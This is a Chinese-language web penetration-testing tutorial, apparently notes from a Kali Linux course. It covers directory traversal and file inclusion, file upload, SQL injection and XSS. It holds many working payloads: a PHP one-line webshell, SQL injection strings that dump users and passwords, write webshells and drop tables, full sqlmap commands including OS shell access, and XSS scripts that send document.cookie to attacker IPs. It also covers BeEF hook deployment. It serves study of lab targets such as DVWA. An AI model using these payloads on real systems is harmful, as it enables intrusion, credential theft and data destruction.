当前位置:   article > 正文

Kali Linux渗透测试——WEB渗透(二)_kali web渗透

kali web渗透

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

漏洞挖掘

WEB漏洞扫描工具一般只会扫描通用常见的漏洞,一些特殊目录、不严格的配置可能遗漏,此时需要手动进行漏洞挖掘,结合自动化工具的扫描结果,根据具体环境灵活验证。

漏洞存在的本质在于输入变量和命令相混淆,漏洞挖掘的原则就在于尝试所有输入变量(表单提交内容、HTTP头等所有存在变量输入的地方),逐一验证排除。

1.目录遍历/文件包含

目录遍历(Directory traversal):由于目录权限限制不严格,导致攻击者通过url等参数直接访问本地WEB目录及其以外的文件。

文件包含(File include):可以包含WEB目录及其以外的文件,进一步分为本地文件(LFI)包含和远程文件包含(RFI)。

  • 目录遍历/文件包含漏洞的存在特征为:在post或url请求中存在变量=页面
eg:
<url>?page=a.php
<url>?home=b.html
<url>?file=content
  • 1
  • 2
  • 3
  • 4
  • 经典测试方法:
eg:
<url>?file=../../../../etc/passwd
<url>?page=file:///etc/passwd
<url>?home=main.cgi
<url>?page=http://10.10.11.129/attack.php
  • 1
  • 2
  • 3
  • 4
  • 5

注:Metasploitable默认没有开启RFI,为实现RFI,需要修改配置文件/etc/php5/cgi/php.ini

allow_url_include = on
  • 1
  • 注意对提交的内容进行编码或变换,绕开过滤机制:
url编码
%2e%2e%2f                        解码: ../
%2e%2e%5c                        解码: ..\
%252e%252e%255c(多层url编码)    解码: ..\

Unicode/UTF-8编码
..%c0%af                         解码: ../
..%c1%9c                         解码: ..\

绕开过滤规则
htthttp://p://     
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 其他系统路径可能用到的字符:(可以利用字典,测试时将字典内容附加在文件后,观察返回结果,在Kail目录/usr/share/wfuzz/wordlist/中已集成一些典型攻击向量字典)
file.txt...
file.txt<spaces>
file.txt””””
file.txt<<<>>><
  • 1
  • 2
  • 3
  • 4

2.文件上传

通过文件上传接口,绕过过滤机制,将webshell、木马文件上传至目标系统。

如上传一句话木马:

<?php
echo shell_exec($_GET['cmd']);
?>
  • 1
  • 2
  • 3

3.SQL注入

服务器端程序将用户输入的变量作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端服务器,不同数据库注入思路是相似的,只是语句有所不同,这里以MySQL注入为例进行介绍。

(1)检测方法

  • 普通型SQL注入
    基于报错的检测:输入' " %等字符,查看返回是否报错,如果报错,说明这些字符被正常解析,可能存在SQL注入漏洞
  • 盲注型SQL注入
    ① 基于布尔的检测:1' and '11' and '0,看返回结果逻辑是否正常,以此判断是否存在注入漏洞
    ② 基于时间的检测:利用SLEEP()函数,通过延时响应判断是否存在注入漏洞

(2)手动注入

注意:
① SQL语句注释符用#-- (后有空格符) 都可以,但#在URL中会被解析成锚点,可以通过URL编码使用%23替代解决这个问题,--后边必须接一个空格符,所以在URL中要写成--+,在URL中空格符都要写成++会被自动解析成空格符;
② 查询语句首先要保证语句语法正确才可以查询到我们需要的信息,否则只会报语法错误,这时需要根据报错信息或者盲猜语句结构,有时末尾加注释符不行,需要闭合引号,此时需要加上or 'or "

① 普通型SQL注入(注入过程中可以通过数据显示、报错等信息回显获取所需信息)

当后台数据库把查询信息无差别回显到前端时,可以通过SELECT语句获取所需信息;
当后台可以正常返回错误信息时,可以利用几个特殊函数,通过报错信息查询所需信息。

  • 判断查询字段数:(由大至小判断)
    可以采用二分法判断查询表的列数
' ORDER BY 10#
  • 1
  • 联合查询:
#  判断查询字段位置
' UNION SELECT 1,2,3,4,5#

#  查询当前数据库、版本、用户、数据库文件路径等系统信息,1,2,3,4,5等数字用于占位
' UNION SELECT database(),version(),user(),4,@@datadir# 

# 结合AND语句,使原有查询的值为空
# 再利用联合查询语句,使得联合查询的值替代正常的变量赋值
# 利用这种方法有时可以传递HASH绕过后台登录验证
# POST提交参数中passwd=123,'202cb962ac59075b964b07152d234b70'为123的MD5
' AND 1=2 UNION SELECT 1,'202cb962ac59075b964b07152d234b70',3#
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 利用CONCATCONCAT_WS()GROUP_CONCAT()连接字符串,CONCATCONCAT_WS()将多个字符串通过分隔符连接成一个长字符串,GROUP_CONCAT()将一列内容连接成一个长字符串,提高查询效率:
' SELECT CONCAT(database(),version(),user(),@@datadir),null#  

' SELECT CONCAT_WS(', ',database(),version(),user(),@@datadir),null#  
# 其中`,`是连接字符串的分隔符

' SELECT null,GROUP_CONCAT(schema_name),null from information_schema.schemata#
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 利用EXTRACTVALUE()UPDATEXML()函数,通过报错信息查询所需信息,这两个函数参数格式为EXTRACTVALUE(目标xml文档,xml路径)UPDATEXML(目标xml文档,xml路径,更新的内容)xml路径用Xpath路径法表示,格式如 /xxx/xxx/xxx/,如果写入以~:;等特殊符号开头的内容就肯定不是Xpath格式,此时就会报错,并且报错会返回写入的非法格式内容,而这个非法格式的报错内容就是需要查询的信息,函数的其他参数输入随意:(只要有报错信息,基于报错的方法就一定可行)
1' or UPDATEXML(1,CONCAT(":",database(),user()),1)#

# SELECT语句必须用括号括起来,否则会报错,下同
1' and EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))#

1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='xxx')))#

1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(column_name) from information_schema.columns where table_schema='xxx')))#

# GROUP_CONCAT可能拼接字符串有长度限制,这时可以使用LIKE匹配重要字符,或用NOT LIKE排除无关字符
1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(column_name) from information_schema.columns where column_name like '%user%' and table_schema='xxx')))#

1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(column_name) from information_schema.columns where column_name like '%pass%' and table_schema='xxx')))#

1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(column_name) from information_schema.columns where column_name not like 'm%' and table_schema='xxx')))#
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

MySQL重要信息全部存在INFORMATION_SCHEMA,其中最重要的三个表:SCHEMATATABLESCOLUMNS

  • SCHEMATA记录了所有数据库的名称SCHEMA_NAME
  • TABLES记录了所有数据表的名称TABLE_NAME
  • COLUMNS记录了所有列的名称COLUMN_NAME

利用查询语句查看SCHEMATA、COLUMNS与TABLES中列的具体内容:

SELECT column_name FROM information_schema.columns WHERE table_name='schemata';
SELECT column_name FROM information_schema.columns WHERE table_name='tables';
SELECT column_name FROM information_schema.columns WHERE table_name='columns';
  • 1
  • 2
  • 3

结果如下图所示:(MySQL version 5.0.51)

COLUMNS&TABLES

图1 COLUMNS&TABLES

注意在 information_schema.schemata 表中库名的列名为schema_name,但是在 information_schema.tables 和 information_schema.columns 表中库名的列名为table_schema,如下查询数据库名、表名、列名的语句:

' UNION SELECT DISTINCT schema_name FROM information_schema.schemata;

' UNION SELECT DISTINCT table_name FROM information_schema.tables;
' UNION SELECT DISTINCT table_name FROM information_schema.tables WHERE table_schema='schema_name';

' UNION SELECT DISTINCT column_name FROM information_schema.columns;
' UNION SELECT DISTINCT column_name FROM information_schema.columns WHERE table_schema='schema_name' AND table_name='table_name';
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 查询dvwa.users表中所有的列:
' UNION SELECT table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’#

' UNION SELECT group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users’#

' UNION SELECT null,group_concat(table_name,':',column_name) from information_schema.columns where table_schema='dvwa' and table_name='users’#
  • 1
  • 2
  • 3
  • 4
  • 5
  • 查询用户和密码信息:
' UNION SELECT user,password FROM dvwa.users#

' UNION SELECT group_concat(user),group_concat(password) FROM dvwa.users#

' UNION SELECT group_concat(user,':',password) FROM dvwa.users#
  • 1
  • 2
  • 3
  • 4
  • 5
  • 利用LOAD_FILE()读取文件:
' UNION SELECT null, LOAD_FILE('/etc/passwd')#
  • 1
  • 利用INTO OUTFILEINTO DUMPFILE将SELECT内容写入文件:(INTO OUTFILE输出内容中带有换行、空格等格式,导出多行带格式数据;INTO DUMPFILE输出内容中无格式,导出单行无格式数据)
' UNION SELECT null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php"#
' UNION SELECT null, CONCAT_WS(',',user,0x3a,password) FROM users INTO OUTFILE '/tmp/a.db'#
  • 1
  • 2

在利用MySQL注入漏洞在目标系统上新建文件时,所有操作使用的都是mysql账号,在/var/www等目录下读写权限会有所限制,这样新建文件就要在mysql所在的主目录或者/tmp等权限不受限的目录完成,然后利用其他WEB漏洞(如文件包含漏洞)对新建的文件进行利用。

  • 如果当前数据库查询账号受限,无法查看information_schema等重要数据库,拒绝union、order by等查询语句,此时可以利用Fuzz猜测库名、表名、列名,根据返回值判断猜测是否正确 (可以利用Burp等自动化工具,结合字典进行注入判断),SQL注入没有银弹,具体环境具体分析,处理方式要灵活变通。
# 猜列名
' and <column_name> is null#

# 猜当前表表名
' and <table>.user is null#

# 猜测库中其他表名
' and (select count(*) from <table>)>0#

# 猜字段内容
' or user='admin
' or user like ' %a%

# 直接更改用户名和密码
';UPDATE users SET user='attacker' WHERE user='admin
';UPDATE users SET password='xxxxxx' WHERE user='yyyyyy

# 直接插入新用户
';INSERT INTO users ('user_id','first_name','last_name','user','password','avatar') VALUES ('1','Wang','Ha','WH','h87fcce45f6aee332deb8826e','OK');#

# 删库
';DROP TABLE users;#
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

② 盲注型SQL注入(不回显查询结果或报错提示等信息)

SQL盲注条件下无法基于报错判断是否存在注入漏洞,也无法通过查询结果或数据库内建的报错提示获取我们所需要的信息,此时可以基于布尔和时间进行盲注检测是否存在漏洞,同时要结合输入不同内容回显的结果灵活处理,其他注入方法和普通注入是一样的,盲注获取信息工作量一般比较大,可以使用二分法逐步缩小判断范围,提高效率。

  • 基于布尔的盲注
    当输入不同的逻辑结果返回不同界面时,此时可以根据逻辑真假执行结果对输入信息进行判断。
1' and 1#
1' and 0#

' or 1#
' or 0#

' or length(database())=8#
' or substr(database(),2,1)>'m'#
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 基于时间的盲注
    当无论输入什么内容显示界面都相同时,此时只能根据界面响应的时间延迟对输入信息进行判断。
' or SLEEP(5)--+
' or (SELECT * FROM (SELECT(SLEEP(20)))a)#

' or if(substr(database(),1,1)>'m',sleep(5),null)#
' or if(substr(database(),1,1)='s',sleep(5),null)#
  • 1
  • 2
  • 3
  • 4
  • 5

③ 二次注入

二次注入是一种注入形式,是指第一次注入时特殊符号被转义,无法产生注入效果,但是提交的恶意数据被保存到了数据库,这样在第二次引用到数据库中的恶意数据时,就会引发二次注入,达成恶意目的。完成二次注入一般分为两个步骤:

i) 插入恶意数据: 第一次提交请求时插入恶意数据,虽然特殊字符被转义,但是数据仍然原封不动被存到数据库,数据本身包含恶意内容;

ii) 引用恶意数据: 服务器默认数据库中内容都是安全的,这样在第二次访问服务器时,服务器直接从数据库中取出了恶意数据,不加过滤地拼接到SQL语句中,致使恶意数据拼接语句生效,造成二次注入。

以 sqli-labs less-24 为例,解题思路,新建账户admin’#,然后登录admin’#账户,在重置密码界面修改密码,实际上修改的是admin账户的密码,原理如下:

修改密码的SQL语句:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这样拼接username后变为:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'

最后真正执行的语句:
UPDATE users SET PASSWORD='$pass' where username='admin'

④ 宽字节注入

宽字节注入是指利用网站客户端和服务端两者在转换数据编码过程中出现的漏洞,导致危险字符转义失效,从而产生的注入问题。后台处理危险字符一般有两种方法,一是将其转义成实体,二是将其过滤掉。当后台采用的方法是用反斜杠\将特殊字符转义成实体时,PHP客户端发送请求到MYSQL服务器交互数据,如果服务器设置的编码为GBK、GB2312等非英文编码,这些编码方案中非英文字符要用至少两个字节进行编码,而我们提交的PHP请求数据是ASCII编码 (单字节编码),这样在后台转换编码时,就有可能因为字符宽度问题“吃掉”至少一个ASCII字符,从而产生宽字节注入的问题。

以GBK编码方案 (中文为双字节编码) 为例,如果后台用\ (URL编码为%5c) 来转义特殊字符,此时输入内容如%xx',后台处理时用\将字符'进行转义,就会拼接成%xx%5c',当xx范围从0x81-0xfe时,双字节%xx%5c表示为一个汉字。如下图所示,当输入内容为%df'时,后台转义处理后再转成GBK编码内容就变成了運',这样就相当于对'的转义处理失败了,在此基础上可以进一步进行注入,思路和普通注入以及盲注是相同的。
请添加图片描述
(4)自动化工具——SQLMap

Python语言开发的SQL注入、漏洞检测工具,可以进行数据提取、访问文件系统、执行操作系统命令、访问注册表、Fuzz和字典破解等操作,可以与Burp、Metasploit等其他工具、框架结合使用,引擎强大、特性丰富,同时也支持XSS漏洞检测。

支持的数据库管理系统DBMS包括:MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB。

五种漏洞检测技术:基于布尔的盲注检测、基于时间的盲注检测、基于错误的检测、基于UNION联合查询的检测、基于堆叠查询的检测。

查询结果以及日志记录默认保存在 ~/.local/share/sqlmap/output/ 目录下,每个目标以url或ip命名为单独的目录,其中 ~/.local/share/sqlmap/output/xxxxxx/session.sqlite 为当次会话的查询缓存。

注意:有时会因为网络原因导致查询结果不准确,这时我们重新查询时SQLMap会直接将缓存中的结果导出,而不会重新查询,这样会导致一直得不到正确结果,如果我们想让SQLMap重新查询则需要删除session.sqlite缓存文件。

使用方法:

① Target

  • 直接登录数据库进行查询,非注入方式
sqlmap -d "mysql://user:password@10.10.11.128:3306/dvwa" --users --dbs
  • 1
  • GET方法指定SQL注入目标:
sqlmap -u "http://10.10.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id -a
# -u:url中必须包含需要注入的参数

sqlmap -m list.txt --current-user --current-db --is-dba --dbms=mysql
# -m:扫描url列表文件
  • 1
  • 2
  • 3
  • 4
  • 5
  • POST方法指定SQL注入目标:
sqlmap -r request.txt
# 读取文件指定目标,request.txt中为HTTP Request(可以使用Burp)

sqlmap -l log.txt
# 读取文件指定目标,log.txt中为代理流量log信息(可以使用Burp)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 利用配置文件指定SQL注入目标,默认配置文件为/etc/sqlmap/sqlmap.conf
sqlmap -c sqlmap.config
# 利用config配置文件扫描目标,文件记录了sqlmap扫描的具体配置
  • 1
  • 2

② Request

  • 配置HTTP Request请求头信息
sqlmap -u "http://10.10.11.128/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --param-del="&" -f
# POST/GET方法都适用
# 前述-r和-l参数实现的POST方法指定目标也可以用-u和--data实现
# --param-del:指定变量的分隔符,默认为&

sqlmap -u "http://10.10.11.128/index.php?id=1" --cookie="security=low; PHPSESSID=946e8e0f4fe70e" --level=2 --risk=2 --random-agent -f
# --cookie:提供cookie信息,用于WEB身份认证
# --level:注入检测等级1-5,默认为1,当level>=2时测试cookie,当level>=3时,会测试user-agent/referer
# --risk:注入危险等级1-3,默认为1,危险等级越高,攻击性越强,越容易被察觉

# --user-agent:指定User-Agent头
# --random-agent:User-Agent头取值为/usr/share/sqlmap/data/txt/user-agents.txt中的随机值
# 当level>=3时检查User-Agent中的注入点

# 当WAF/IPS/IDS过滤异常User-Agent时报错:[ERROR]the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --useragent or --random-agent

sqlmap -u "http://10.10.11.128/index.php?id=1"  --method=GET --headers="Host: 10.10.11.128\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0"
# --headers:指定注入检测的Header,每个头单独一行,名称区分大小写
# --method:指定GET/POST方法
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

(2021.01补充)

cookie注入

cookie注入原理与普通注入是相同的,只不过注入时请求参数不再以get和post方法提交,而是由cookie提交,存在cookie注入必须满足以下两个条件:

  • 后台可能对get和post方法提交的参数进行了过滤,但未对cookie提交的参数进行过滤
  • 后台对提交参数获取的方法是request("xxx"),未指明使用request对象的具体获取方式,也就是说此时获取的参数不仅可以用get、post方法提交,也可以用cookie提交

判断是否存在cookie注入的方法可以利用Burp截断请求,将get或post方法提交的参数去掉,并移至cookie变量中,然后Forward提交请求,如果此时Response和正常使用get或post方法提交请求时的Response相同,则存在cookie注入,接下来就是利用常规注入手段进行注入了,如下例所示:

利用Burp截断正常请求:
在这里插入图片描述
可见正常访问采用get方法,提交的参数id=1,现将id=1移至cookie中然后Forward提交:
在这里插入图片描述
发现Response没有变化,判断存在cookie注入,接下来就可以利用sqlmap进行常规注入了,注入语句:

sqlmap -u "http://120002-gznu9cn4.wlz.com/About.asp" --cookie="id=1; ASPSESSIONIDCCASQTQD=LHBJDLADMJFGGCKPIGGBACEB; ASPSESSIONIDQCTQCSCS=EPLLKOIDHEHPIOKDFEAAIIFG" --level=2 --tables
  • 1

注意:每个cookie键值之间是;+空格的格式,否则cookie不会正确提交参数。


  • 配置认证信息
sqlmap -u "http://10.10.11.128/a.php?id=1" --auth-type=Basic --auth-cred="user:pass“
# --auth-type:指定认证方式,包括basic、digest、ntlm、pki
# --auth-cred:指定认证信息
  • 1
  • 2
  • 3
  • 配置HTTP(S)代理
sqlmap -u "http://10.10.11.128/index.php?id=1" --proxy="http://1.2.3.4:8080" --auth-cred="user:pass" 
# --proxy:指定代理服务器,提高注入检测隐蔽性

sqlmap -u "http://127.0.0.1/index.php?id=1"  --ignore-proxy
# --ignore-proxy:忽略系统的代理,通常用于本地主机的扫描
  • 1
  • 2
  • 3
  • 4
  • 5
  • 配置请求参数
# --delay:每次HTTP(S)请求之间延迟时间,浮点数,单位为秒,默认为无延迟
# --timeout:请求超时时间,浮点数,默认位30秒
# --retries:HTTP(S)连接超时重试次数,默认为3次
# --randomize:长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名

sqlmap -l burp.log --scope="192\.168\.20\.(1|10|100)" --level 3 --dbs
# --scope:过滤日志内容,通过正则表达式筛选扫描对象

sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238b0b923520dcc509a7f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
# --eval:每次请求前执行指定的python代码
# 适用于每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

③ Injection

sqlmap -u "http://10.10.11.128/login.php?username=admin&password=password" -p "admin,user-agent,referer" --skip="password" --dbs 
# -p:指定注入检测的参数或HTTP头
# --skip:排除指定的扫描参数

sqlmap -u "http://10.10.11.128/login.php?id=1" --dbms="mysql<5.0>" --os="windows"
#--dbms:指定DBMS(包括mysql//oracle/postgresql/microsoft sql server/microsoft access/db2/sqlite/firebird/sybase/sap maxdb),跨过DBMS探测过程,可以指定具体版本
# --os:指定操作系统

sqlmap -u "http://1.1.1.1/a.php?id=1" --tamper="between.py,randomcase.py,space2comment.py" -v 3
# --tamper:混淆脚本,用于绕过应用层过滤、IPS、WAF等安全过滤机制
# tamper脚本存在/usr/share/sqlmap/tamper目录

sqlmap -u "http://targeturl/param1/value1*/param2/value2*/"
# *:指定URI注入点
# 一些WEB Application会将变量值变为路径中的参数,看似为静态URI,实则仍为动态URI,这时需要用*指定URI路径中的注入点
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

④ Enumeration

# -p:指定测试参数 parameter
# -b:扫描DBMS的Banner信息
# -f:扫描DBMS版本的指纹信息 fingerprint
# -a:扫描所有的Enumeration信息
# --current-user:当前数据库用户
# --current-db:当前数据库
# --hostname:主机名
# --users:所有的用户
# --count:表中记录的数目
# --privileges -U username:查询用户权限,CU为当前用户
# --batch:使用默认选项扫描,不用交互选择

sqlmap -u “http://1.1.1.1/a.php?id=1” -D dvwa -T users --columns --dump
# --dbs:查询数据库
# --tables:查询表
# --columns:查询列
# --exclude-sysdbs 
# --dump:将数据库表项存到本地,以csv格式存储在~/.sqlmap/output/1.1.1.1/dump/目录中
# -U:指定用户
# -D:指定数据库
# -T:指定表
# -C:指定列
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

⑤ Brute Force

当数据库账号没有权限读取information_schema时,通常使用暴力破解的方法获取数据库元数据

# --common-tables:暴力破解表名
# --common-columns:暴力破解列名
  • 1
  • 2

⑥ File System Access

# --file-read="/etc/passwd"
# --file-write="shell.php" --file-dest= "/tmp/shell.php":将shell.php写到目标主机的/tmp/shell.php文件
  • 1
  • 2

⑦ OS Access

# --os-cmd=OSCMD:执行操作系统命令OSCMD
# --os-shell:尝试建立OS shell进行交互
# --sql-shell:尝试建立SQL shell进行交互
# --os-pwn:尝试建立meterpreter或VNC shell进行交互
  • 1
  • 2
  • 3
  • 4

⑧ Windows Registory

sqlmap –u="http://1.1.1.1/index.php?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
# --reg-read:读取注册表项
# --reg-add:添加注册表项
# --reg-del:删除注册表项
# --reg-key:注册表项名称
# --reg-value:注册表键的名称
# --reg-data:注册表键值
# --reg-type:注册表项类型
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

⑨ General

# --charset:强制字符编码
# --flush-session:清空session内容
# --flush-queries:忽略session查询结果,重新查询
# --force-ssl:https查询
# --save:将命令保存为配置文件
  • 1
  • 2
  • 3
  • 4
  • 5

⑩ Miscellaneous

# --check-waf:检测WAF/IPS/IDS
# --identity-waf:彻底的检测WAF/IPS/IDS,支持多种产品

sqlmap --wizard
# --wizard:交互式向导进行简单的注入检测
  • 1
  • 2
  • 3
  • 4
  • 5

注意:保持sqlmap为最新版本,否则可能存在注入不准确情况。

4.XSS (Cross-Site Scripting)

由于WEB站点存在的漏洞,对用户输入处理不当,且将输入内容直接返回到前端显示或者保存到后端,使得攻击者可以将恶意代码注入至WEB站点,再由WEB站点向客户端交付恶意脚本代码,从而攻击WEB客户端,实现盗取Cookie、重定向等攻击效果。

原则上XSS攻击可以实现脚本代码能实现的所有功能,但可能受到执行权限的限制,最常见的客户端脚本语言为JavaScript,也有VBScript、ActiveX、Flash等

客户端脚本使用场景包括:

  • 嵌入恶意脚本:<script>alert('XSS');</script>
  • 嵌入标签事件:<body onload=confirm('XSS')>
  • 嵌入图片标签:<img src='https://img-blog.csdnimg.cn/20200418085334612.jpg'>
    <img src='1' onerror=alert('XSS')>
  • 嵌入链接标签:<a href='https://www.baidu.com'>Baidu</a>
  • 嵌入其他标签:<iframe>、<div>、<link>
  • 操作DOM对象,篡改页面内容
(1) XSS类型

XSS类型包括存储型(持久型)、反射型(非持久)、DOM型,基本特点和区别如下:

① 反射型XSS

漏洞特征:服务器会将客户端提交的数据原样返回,如提交数据
<script>alert('XSS');</script><img src='1' onerror=confirm('XSS')>,如果服务器返回的页面正常弹窗,则说明服务器原样返回了用户提交的脚本代码,服务器存在XSS漏洞,攻击示意如下图所示:(一般使用社会工程学诱使客户端点击恶意链接)
反射型XSS攻击过程

图2 反射型XSS攻击过程

JS攻击脚本如:

<script>new Image().src="http://10.10.11.128/attack.php?output="+document.cookie;</script>
<!--提交页面中将恶意脚本嵌入图片标签,用户会将当前Cookie信息发给attack.php--> 

<script src="http://10.10.11.129/attack.js"></script>
<!--通常情况下攻击者只会将恶意脚本的文件路径发给客户端--> 
  • 1
  • 2
  • 3
  • 4
  • 5

② 存储型XSS

漏洞特征:实施攻击后恶意脚本长期存储于服务器端,每次用户访问恶意脚本都会被执行。

存储型XSS与反射型XSS区别在于存储型XSS发动攻击后脚本代码就被保存到服务器端,以至于之后每次访问时都会发动攻击,不需要再诱使用户提交恶意代码,攻击思路和方法两者都是相同的。

③ DOM型XSS

DOM型XSS本质上也是一种反射型XSS,之所以单独划分是因为采用DOM文档对象模型技术,DOM是网页的编程接口,它给网页提供了一个结构化的表述,并且定义了访问网页中各种元素的API,以改变文档的结构,样式和内容。DOM模型如下图所示:
DOM模型

图3 DOM模型

DOM型攻击脚本如:

<script>var img=document.createElement("img");img.src="http://10.10.11.128:88/log.php?"+escape(document.cookie);</script>
  • 1
(2) 常见攻击应用

① 信息劫持

最常见的XSS攻击方法,盗取登录者的Cookie、浏览器等信息,其中Cookie可用于绕过WEB登录验证,被盗取的信息一般回传给攻击者,因此需要一个服务器用来接收,这也是后续介绍的XSS工具 (平台) 的作用,例如利用BeEF工具生成盗取Cookie的恶意脚本,脚本链接为http://192.168.10.10/XSS/hack.js,把链接植入漏洞页面即可:

<script type="text/javascript" src="http://192.168.10.10/XSS/hack.js"></script>
  • 1

② 恶意跳转

劫持访问,跳转到恶意网页,如下payload:

<script>window.location.href="http://www.baidu.com";</script>
  • 1

③ 网页挂马

利用存储型XSS在网页挂马,完成钓鱼攻击,一般要借助XSS工具 (平台),思路和Cookie劫持类似,只不过恶意脚本完成的是木马功能,具体不再赘述。

④ 植入信息

植入广告或垃圾信息,达到恶意传播的目的,如下payload:

<img src='https://img-blog.csdnimg.cn/20200418085334612.jpg'>

<a href="https://blog.csdn.net/Captain_RB/article/details/104931995">Baidu</a>

<iframe src="https://blog.csdn.net/Captain_RB/article/details/104931995"></iframe>
  • 1
  • 2
  • 3
  • 4
  • 5
(3) XSS工具

简要介绍两款经典的XSS工具:

① XSSer

Python编写的自动化XSS攻击工具,支持命令行/图形化,具有多种绕过服务器筛选机制的功能。

eg:检测目标主机是否存在XSS漏洞

xsser -u "http://10.10.11.128/dvwa/vulnerabilities/" -g "xss_r/?name=LL" --cookie="security=low; PHPSESSID=d23e4694117e7ff8210717e698521a81" -s -v --reverse-check
# -u:要检查的url
# -g:使用GET方法的注入点
# -s:统计输出检测结果
# -v:verbose输出
# --reverse-check:从目标到当前主机建立反向链接

xsser -u "http://10.10.11.128/dvwa/vulnerabilities/" -g "xss_r/?name=LL" --cookie="security=low; PHPSESSID=d23e4694117e7ff8210717e698521a81" -s -v --heuristic 
# --heuristic:以此检测每个特殊符号是否被过滤
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

② BeEF

目前WEB Application几乎都是B/S架构,攻击浏览器用户具有普遍性,同时可以结合社会工程学方法进行攻击。BeEF是一个浏览器漏洞利用框架(Browser Exploitation Framework),分为客户端和服务器端,客户端运行浏览器中的JS脚本(hook),服务器端对hooked客户端进行管理。

攻击手段通常包括:

  • 利用网站XSS漏洞实现攻击
  • 诱使客户端访问含有hook的伪造站点
  • 结合中间人攻击注入hook脚本

通过以上攻击手段使客户端浏览器运行hook的JS脚本http://<IP_BeEF_Server>:3000/hook.js,然后用BeEF服务器端对hooked客户端进一步进行攻击。

在GitHub上下载BeEFgit clone https://github.com/beefproject/beef.git,或者下载压缩包解压,当前BeEF版本为0.5.00,进入下载文件目录./install一键式安装,期间可能会因为一些GEM组件报错,用bundle install补全,然后在config.yaml中修改默认账号和密码,最后用./beef命令就可以正常运行了,访问http://<IP_BeEF_Server>:3000/ui/panel进入服务端界面,如下图所示:

BeEF运行界面

图4 BeEF运行界面

Details中包括了默认已经探测的信息,Logs中记录了目标用户的操作动作,Commands中包含了各种攻击模块,不同颜色模块含义:(通过已探测信息进行判断,可能出现误判,需要进一步验证)

  • 绿色模块:表示适用于目标浏览器,执行结果对目标用户不可见
  • 红色模块:不适用于目标浏览器
  • 橙色模块:可用,但对目标用户可见(弹窗询问等)
  • 灰色模块:未在目标浏览器测试过

主要攻击模块包括:

  • Browser:获取Details信息、探测浏览器插件、摄像头等浏览器信息
  • Exploits:开启摄像头、Bind Shell、植入Payload,针对各型路由器、交换机、软件进行攻击等
  • bind shell:探测CPU、电量、用户、安装软件、地理坐标等信息
  • Persistence:通过中间人、添加用户、新建窗口等操作使目标浏览器当前窗口持续有效
  • Network:扫描目标主机的DNS、Tor代理、端口、内网主机等网络信息
  • Social Engineering:伪造软件升级、提示窗口、软件登录等窗口,诱使目标用户输入用户密码或访问恶意网站

eg:在存在存储型XSS漏洞的网站写入以下脚本,或者诱使用户访问挂有以下脚本的页面

<script src="http://<IP_BeEF_Server>:3000/hook.js"></script>
  • 1

客户端浏览器一旦访问即中招,后续再BeEF服务器端进行进一步攻击

5.CSRF (Cross Site Request Forgery)

通过伪造合法用户身份发送恶意请求,基于服务器对请求的信任完成攻击操作,比如以合法用户的身份发送邮件、消息、购物、转账等,通常结合社会工程学,使得用户在非自愿、不知情的情况下提交请求

